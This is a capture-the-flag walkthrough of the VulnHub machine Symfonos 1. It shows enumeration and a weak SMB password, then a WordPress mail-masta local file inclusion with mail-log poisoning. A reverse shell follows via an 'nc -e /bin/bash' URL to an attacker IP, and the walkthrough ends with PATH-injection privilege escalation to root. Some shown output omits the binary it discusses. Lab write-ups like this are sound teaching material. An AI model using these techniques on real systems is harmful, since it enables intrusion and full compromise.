VulnHub: Symfonos 1 Walkthrough

First lets start off with an nmap scan of the remote host.

NMAP returns a lot of results and seems ports 22,25,80,139 and 445 are open. Lets start off by enumerating the smtp server for potental users on the system using metasploit. 

msf5 auxiliary(scanner/smtp/smtp_enum) > run

Metasploit didnt come back with anything interestings so lets move on to ports 139 and 445. We see that smb sharing is active lets connect to the server and see if we can list the shares on the server.

Can users please stop using passwords like 'epidioko', 'qwerty' and 'baseball'! 

Next person I find using one of these passwords will be fired!

We find a file telling us some passwords not to use lets go back to the console and try to login in to the helios share with one of the following passwords.

3. Work on /h3l105

The password for the user helios is 'qwerty' and we find two files in the share. Research.txt didnt have much information, but todo.txt gives us a directory to work with, if we visit /h3l105 we find a wordpress install. Now its time to fire up wpscan and lets see what if can find.

wpscan came back with some good results we found two plugins we can search for vulnerabiltes for the mail-masta and site editor. After doing some searching, I found a working exploit here: https:/www.exploit-db.com/exploits/40290 . So now all there is to do is paste the url in and include files from the remote system.

We see the user 'helios' is on the system. Now we need to poison a log file so that we can include it and execute commands on the remote system. If you remember there is a SMTP server running on the remote host. We can posion the mail log file and include it in the LFI on the wordpress site and run commands if all goes well.

We successfully added our php code to a place where the log file will print out the contents of our message which will be interepted as php code on the remote host. What we want is a reverse shell so we try netcat and see if it works. 

http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&c=nc -e /bin/bash 192.168.56.101 4444

python -c 'import pty; pty.spawn("/bin/bash")'



We get a connect back and drop to a system shell. Our next task is to search for SUID able file on the remote host.




helios@symfonos:/var/www/html/h3l105$ find / -xdev -perm -4000 -type f 2>/dev/null
<3l105$ find / -xdev -perm -4000 -type f 2>/dev/null

/bin/mount
/bin/umount
/bin/su
/bin/ping
helios@symfonos:/var/www/html/h3l105$ 




We find one that sticks out '/opt/statuscheck'. If we run strings on the binary we get back some interesting results.



helios@symfonos:/var/www/html/h3l105$ strings /opt/statuscheck
strings /opt/statuscheck

helios@symfonos:/var/www/html/h3l105$ 




We can see that is executes the command 'curl -I http://localhost'. What we want to do is elevate our privelges using the statuscheck program and PATH injection. First we change directory to /tmp so we can set up our bogus curl binary.



helios@symfonos:/var/www/html/h3l105$ cd /tmp
cd /tmp
helios@symfonos:/tmp$ echo "/bin/sh" > curl
echo "/bin/sh" > curl
helios@symfonos:/tmp$ chmod 777 curl




Next we will export the path /tmp in our home PATH so that it will search that directory first for any binaries to be run and it will execute our curl program with root privleges and give us a shell.



helios@symfonos:/tmp$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
helios@symfonos:/tmp$ echo $PATH
echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
helios@symfonos:/tmp$ 




After that all there is to do is run /opt/statuscheck and see if we get a root shell.



helios@symfonos:/tmp$ /opt/statuscheck
